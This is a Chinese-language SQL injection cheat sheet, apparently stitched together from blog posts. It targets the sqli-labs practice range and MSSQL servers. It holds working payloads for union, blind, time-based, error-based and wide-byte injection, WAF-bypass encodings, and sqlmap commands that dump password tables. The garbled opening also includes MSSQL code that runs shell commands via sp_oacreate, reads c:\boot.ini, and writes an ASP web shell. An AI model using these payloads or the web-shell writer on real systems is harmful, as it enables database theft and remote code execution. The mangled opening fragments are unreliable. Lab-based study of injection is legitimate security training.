;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:web–
and 0<>(select top 1 paths from dirs1)–
把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面 xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!**
- 5.数据收集
可通过联合查询进行对数据库数据查询
group_concat(table_name) 要放在显示位 如果是多个字段,from查询要空格后放在最后面的字段,不然会报错!!
查询当前数据库所有表,并且拼接在一行显示--多个字段的,如3,不为显示位,2为显示位,这时候from查询
要空格后放在最后面的字段,接着记得加注释,常用的有#
group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询当前数据库users中表所有字段,并且拼接在一行显示
group_concat(column_name) from information_schema.columns where table_name='users' --+
查询当前数据库users中表username和password字段中的信息,并且拼接在一行显示
union select 1,group_concat(username,0x3a,password),3 from users--+
比如:查询当前数据库所有表,并且拼接在一行显示
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
同理,我们可以继续构造语句来进行对数据库内数据进行查询或者写入操作
字符型sql注入
概述:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号或其它特殊符号来闭合,而字符串一般需要通过特殊符号,如单引号来闭合的。
检测方式:
如这是一条后台语句:$sql="SELECT * FROM users WHERE id='1 ' LIMIT 0,1"
可以看出,id被单引号包裹住
如果后台语句是:GET_id=’$id’这样子传
这时候要注入可以这样
?id=' 1 然后在id的引号里面构造攻击语句 '
如http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
在1 后面加单引号使其语句闭合,然后中间使用联合查询,接着再把联合查询后面的语句用 --+注释掉
如在URL地址栏输入?id=1′ 这时候1后面的单引号把原本语句的一对单引号隔开了,变成了?id=’1”,多出了一个单引号,正常来说,包裹着id变量的单引号是成对,这样的语句结构没有问题的,多出了一个单引号就报错了破坏了原本的sql语句结构,并且这条语句被带进数据库进行查询,数据库由于无法处理这条 ‘非正常’ 的语句,所以也就报错了,由于数据库和前端页面是交互的,所以前端页面也会出现异常或者报错,或者是程序员为了开发时的调试开启生产环境中 Webserver的错误显示,导致数据库端的错误回显到了前端。
但这时候,如果我们在1’后面加–+注释掉它后面的单引号( ?id=’1 ‘ –+ ’),让它语句后台的语句一致,这样子就不会报错了,同理,也可用这个方法来验证是不是属于字符型sql注入
正常的URL:http://127.0.0.1/sqli-labs-master/?id=1
1左右是有单引号包裹住的 我们在URL栏输入原本语句的单引号不会显示,如果我们输入的是这样子:
?id=1’ --+
而后台会这样子显示 :id='1' --+'
所以我们可以这样子 ?id=1′ 这里写攻击语句 –+’
本来id=’1’是这样子的
后来我们在id=’1 在里面插入语句 ‘#
如果我们输入1’ 那么id是这样子的 id=’1” 这样子语句就形成不了闭合了,会报错,如果报错了,证明这条语句成功被带进数据库查询,存在字符型注入
这时候我们可以这样子 id=’1′ –+ , 空格–+ 把后面的单引号注释掉了,这样子sql语句就会形成闭合
闭合方法
- 1.原来的基础上再继续输入多一个引号,也就是
1'' --> '1' ''
如 $id=‘1’ ‘’ 把单引号凑成一对,形成语句的闭合(不推荐,推荐使用 –+或者#号注释,因为真实渗透环境太过复杂,’单引号不代表真正的注释,只能是碰巧拿来闭合罢了,如果这条语句的后面还拼接着其它的语句,那么将达不到预期的闭合效果!)
前端URL:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3'
后台语句:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3'' LIMIT 0,1"
- 2.第二种方法是使用“#”符号来注释后面的单引号
如 $id=’1 ‘# ’ 形成闭合
前端URL:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3#
后台语句:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3# LIMIT 0,1"
- 3.第三种方法是使用” – “或” –+”,这里注意了“ – ”后面有一个空格。在页面输入框注入,不能用空格–+ 要把后面的+也换为空格在url当中,我们需要使用“+”来代替“–”后面的空格。
注意: 字符型注入,先探测语句的闭合方式,如果是单引号闭合的方式,那么我们要加单引号进行闭合,接着注入语句后面要带注释,注释掉预设好的sql语句后面的字符和及其它不需要的语句来达成注入语句的闭合,不然语法错误会一直报错!
在页面输入框注入,不能用空格–+ 要把后面的+也换为空格 但URL可以用 –+
sql字符型注入利用方式
后台sql语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
前端URL:http://127.0.0.1/sqli-labs/Less-3/?id=1
在1后面单引号、括号 使其语句闭合 然后加and 1=2让前面的select查询语句逻辑错误,使用后面的select语句 和id=-1同理
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,database(),user() --+
盲注
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
普通注入:
1.执行 SQL 注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示 SQL 语法不正确等
2.一般在页面上直接就会显示执行 SQL 语句的结果
盲注:
1. 服务器不会直接返回数据库错误 or 语法错误,而是会返回程序开发所设置的特定信息。
2.页面上不会直接显示 SQL 执行的结果,所以会出现不确定SQL 语句是否执行的情况
布尔SQL盲注
left(database(),1)>’s’ //left()函数,left(a,b)从左侧截取 a 的前 b 位
ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 --+
//substr(a,b,c)函数,ascii()函数,substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数。mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
。Ord()函数同 ascii(),将字符转为 ascii 值
regexp 正则注入
select user() regexp '^ro[a-z]';//正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp '^ro'来进行。
sqli-libs——less-5
http://127.0.0.1/Less-5/?id=1‘and left(version(),1)=5%23 //猜数据库版本
http://127.0.0.1/Less-5/?id=1‘and length(database())=8%23 //猜数据库长度
http://127.0.0.1/Less-5/?id=1‘and left(database(),1)>’a‘%23 //判断第一个字符的ascii码是否比a大
http://127.0.0.1/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23 //判断第一个字符ascii是否为101 数据库security
http://127.0.0.1/Less-5/?id=1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^user[a-z]’ limit 0,1)%23 //查询表中是否匹配user
字段为 username
时间延时 SQL 盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep
Ps:遇到以下这种利用 sleep()延时注入语句 select sleep(find_in_set(mid(@@version, 1, 1), ‘0,1,2,3,4,5,6,7,8, 9,.’)); 该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
sqli_libs-less-5
http://127.0.0.1/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))%23
//成立返回 1 不成立 执行sleep(5)
http://127.0.0.1/Less-5/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))%23
//查询表 第一个表为 email
http://127.0.0.1/Less-5/?id=1' union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('msg','by 5 secodes')),null)),2,3 from (select database() as current) as tb1%23
//当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间。
报错型sql注入
报错注入的原理分析
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,例如:后台开启了echo mysql_error() 输出了错误信息,这时候我们可以使用多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息使得查询结果能够出现在错误信息中,通过这种方法,我们可以构造恶意语句让数据库回显敏感信息到前端页面来,这个方法在我们无法使用联合查询且前端能返回错误信息的情况下非常实用
MYSQL报错注入的分类:
BIGINT等数据类型溢出
xpath语法错误
floor()报错
列名重复报错
参数不规范报错
使用报错注入的前提
1.页面上没有显示位但是有sql语句执行错误信息输出位。
2.开启生产环境中 Webserver的错误显示,如使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。
常用报错注入函数
- 1.extractvalue()
extractvalue() :对XML文档进行查询的函数。其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
使用concat()拼接 ‘ / ‘ 效果相同,
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))
这里在’anything’中查询不到 位置是 /database()的内容,但也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 – 返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容
- 2.updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
Floor报错注入例子
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
?id=33 union select count(*),concat('~',(select database()),'~',floor(rand(0)*2))as a,
3,4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.tables group by a %23
rand(0)*2
rand() 可以产生一个在0和1之间的随机数。
rand(0)*2 产生一个0-2的随机数
floor(rand(0)*2)
floor() 返回小于等于该值的最大整数。
floor(rand(0)*2)产生0或1
group by 与 count(*)
group by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使用。举个例子就一目了然了。
mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 number 和 count(*)。然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组
mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 number 和 count(*)。然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组
Rand()特殊性
当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!
mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 number 和 count(*)。
然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组
updatexml()是最常用的函数,而且比较好记,updatexml(xml_target,xpath_expr,new_xml)接受三个参数,此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
以上函数对mysql版本有要求,Mysql版本要大于5.0 以上才能使用
- 3.floor
floor(x),返回小于或等于x的最大整数
floor(rand(0)*2)报错原理
1.理解rand函数
rand() 是一个随机函数,通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列。结果如下图所示:
可见,直接使用rand函数每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:
这样每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。
查看多个数据看一下。(users是一个有6行数据的表)
这样第一次产生的随机数和第二次完全一样,也就是可以预测的。
那么floor报错注入利用的时候rand(0)*2为什么要乘以 2 呢?这就要配合floor 函数来说了。
2.理解floor(rand(0)*2)函数
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。
floor(rand(0)*2)就是对rand(0)产生的随机序列诚意2后的结果,再进行取整。得到伪随机序列为如下图所示:
因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序。
所以三条命令一定报错,两条以及以下不会报错
Mysql报错注入之floor(rand(0)*2)报错原理探究 – FreeBuf网络安全行业门户
利用流程
以最常用的updatexml()函数来举例
公式?id=1 and updatexml(1,concat(0x7e,(查询的内容),0x7e),1)
提交内容?id=1′ and updatexml(1,concat(0x7e,(select database()),0x7e),1) –+
简要说明这条公式的含义
?id=1 是可能存在URL的参数
and 是拼接符
updataxml()是函数
括号里面的concat是用于连接两个或多个数组,将其以拼接的方式输出到前端页面
0x7e是一个特殊符号 ~ 这是为了区分报错注入后的有用信息,因为页面报错包含太多没用信息
以sqli-labs-Less-5为例构造以下URL进行注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
(1后面一定要加单引号(因站而异,只要页面报错即可),不然不报错,如果不报错,就是语句成功进去数据库但是,也不会再页面显示我们也就拿不到我们需要的数据)
http://127.0.0.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(Select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
公式
?id=1 and updatexml(1,concat(0x7e,(查询的内容),0x7e),1)
也就是往查询内容处构造Select schema_name from information_schema.schemata limit 0,1
进行注入,更多的注入语句可以参考我的另一篇博客 点击传送
后面的limit 0,1 的含义就是从你的表中的第0个数据开始,只读取一个,limit 0,1根据网站的实际情况而定,如果存在多列需要加上,例如该页面只有一个显示位,而在网站后台存在多列数据的情况下一个显示位显示无法完整回显会发生错误
如下
宽字节
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字(前一个 ascii码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思 路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。 因此我们在此想办法将 ‘ 前面添加的 \ 除掉
%df 吃掉 \ 具体的原因是 urlencode(‘\) =%5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
sqli_libs-less-32
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3 %23
sql注入的绕过方法
数据库作为一个公司的核心数据存储点,其所有信息都存储在数据库中,其主要性毋容置疑,且SQL注入也毫无疑问是最危险的Web漏洞之一,通过sql注入,我们可以随意对公司的数据库进行任意的增删改查操作,如果是黑产分子,甚至是对数据库进行脱库,进行数据贩卖,对此进行许多公司都会单独为数据库实施Web应用程序防火墙和入侵检测/预防系统来试图保护自己数据隐私,但当这些安全软/硬设备,都是人来编写,而且其中往往是采用正则来进行过滤,拦截,这些对策往往是不充分的,并且很容易被绕过。
在对waf进行绕过时,我们首先需要知道waf到底过滤了什么,只有摸清楚WAF是如何工作的,才能更好的进行绕过,比如是白名单和黑名单,还是只拦截关键字,或是直接进行过滤去除,我们要根据页面或者URL栏给出的反馈信息,在脑海中构建好攻击绕过思路,唯有如此,我们才能更有效率的进行渗透测试
- 以sqli-labs靶场为例,我们可以先用常用的sql注入语句,比如:
http://127.0.0.1/sqli-labs/Less-25a/?id=1' and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+
通过页面的回显,我们可以的知后台过滤了and关键字,既然我们知道它过滤了什么,那么我们就可以针对过滤的内容去构建合适的sql语句去绕过了
常用的sql注入绕过方法
1、对于关键字的绕过
如对and进行过滤,我们可以尝试:
1.对于and,or的绕过可以尝试一下&&,||,异或特殊符号注入
2.使用注释符绕过,比如: /!and/ uni//on se//lect
3.大小写绕过: ANd UniOn SeleCt
4.双关键字绕过:ununionion seselectlect
5.关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成a<nd,一旦插入字符被过滤,<它将作为and传递。
空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
2、大小写混合
如果正则表达式只针对小写或大写的关键字进行匹配处理,那么我们就可以通过改变攻击字符串中字符的大小来规避它,因为数据库以不区分大小写的方式处理SQL关键字。
主要针对正则表达式的规则对大小写敏感进行过滤,但现在直接使用这种绕过技术成功的可能性已经不高了
https://mp.csdn.net/index.php?id=-15 uNIoN sELecT 1,2,3,4
3、替换关键字
这种情况下大小写转化无法进行绕过而且正则表达式会替换或删除select、union这些关键字,那么这时候我们可以先摸清楚后台的过滤机制,然后针对正则过滤进行利用,如果select、union这些关键字只匹配一次就很容易利用双写关键字进行简单的绕过
https://mp.csdn.net/index.php?id=-15 UNIunionON SELselectECT 1,2,3,4
替换关键字同样是很基础的技术也可以构造得更复杂SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了
4.使用编码
- 1.URL编码
如在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,不过存在某种情况比如URL编码只进行了一次解码过滤,那么这时候我们就可以用两次URL编码进行绕过
未编码前:?id=-1' UNION SELECT 1,2,3,4 --+#
一次编码后:?id=-1%27%20UNION%20SELECT%201,2,3,4%20--+#
二次编码后:?id=-1%2527%2520UNION%2520SELECT%25201,2,3,4%2520--+#
可以看到经过二次URL编码后,我们的链接已经跟未编码前大不相同了,这时候,如果后台针对一次编码进行处理,那么,我们就能利用这种方法进行绕过
- 2.十六进制编码
如对后台针对单引号或者关键字进行处理,那么我们就可以使用16进制,把下面的**‘glbimreb21’**变为0x676c62696d7265623231,就可以不需要单引号包裹着变量进行简单的绕过了,在我们用 16进制进行绕过时,16进制前面要加0x!
转换前:?id=-55' union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='glbimreb21' --+
转换后:?id=-55' union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema=0x676c62696d7265623231--+
- 3、Unicode编码
Unicode是一种行业标准,用于表示多种语言的110,000多个符号和字符。它可以用不同的字符编码表示,Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:
?id=10%D6’%20AND%201=2%23
SELECT ‘Ä’=‘A’; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用。
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。
- 5、缓冲区溢出
缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过,如:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A”重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出
sqlmap
0、清除sqlmap缓存:
第一个办法:在C:\Users\dragoneyes.sqlmap\output,删除output里面的内容
第二个办法:sqlmap.py –purge
1、检测注入点
sqlmap -u 注入点 检测注入点是否可用
sqlmap -u 注入点 –batch 自动输入
2、爆库和数据库用户
sqlmap -u 注入点 –dbs //爆库
Web当前使用的数据库
sqlmap -u 注入点 –current-db //爆当前使用的库
Web数据库使用的账户
sqlmap -u 注入点 –current-user //当前使用的账户
列出sqlserver所有用户
sqlmap -u 注入点 –users // 列出所有使用过的账户
3、数据库账户与密码
sqlmap -u 注入点 –passwords //mysql的登录账户和密码
4、列出数据库中的表
sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)
5、列出表中字段
sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 – -columns
6、爆字段内容
sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)
–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
level:共有五个等级,默认为1,在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
爆库
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbs
手工查看当前数据库
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --current-db
枚举出指定数据库中的表名–mysql -D "security"和- - tables
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables
枚举出users表中的字段-- -T "users"和 - - col
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" --col
枚举出指定字段–-C "password,username"和- - dump
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump
sqlmap四连
- sqlmap -u “URL” –current -db 查看当前数据库。
- sqlmap -u “URL” -D 数据库名 –tables 查看数据库中的表
- sqlmap -u “URL” -D 数据库名 –T 表名 –columns 查看数据库中的表中的列
- sqlmap -u “URL” -D 数据库名 –T 表名 –C 列名 –dump 查看列的内容。
- sqlmap -u “URL” -D 数据库名 –T 表名 –dump 查看列的内容
- –batch 忽略你的输入默认yes
参考推荐
sql注入—入门到进阶_春日野穹ㅤ的博客-CSDN博客_sql注入入门
常见的Web漏洞——SQL注入_江左盟宗主的博客-CSDN博客_sql注入
sqli-lab教程——1-35通关Writeup_地址ch3nye.top的博客-CSDN博客_sqli-labs通关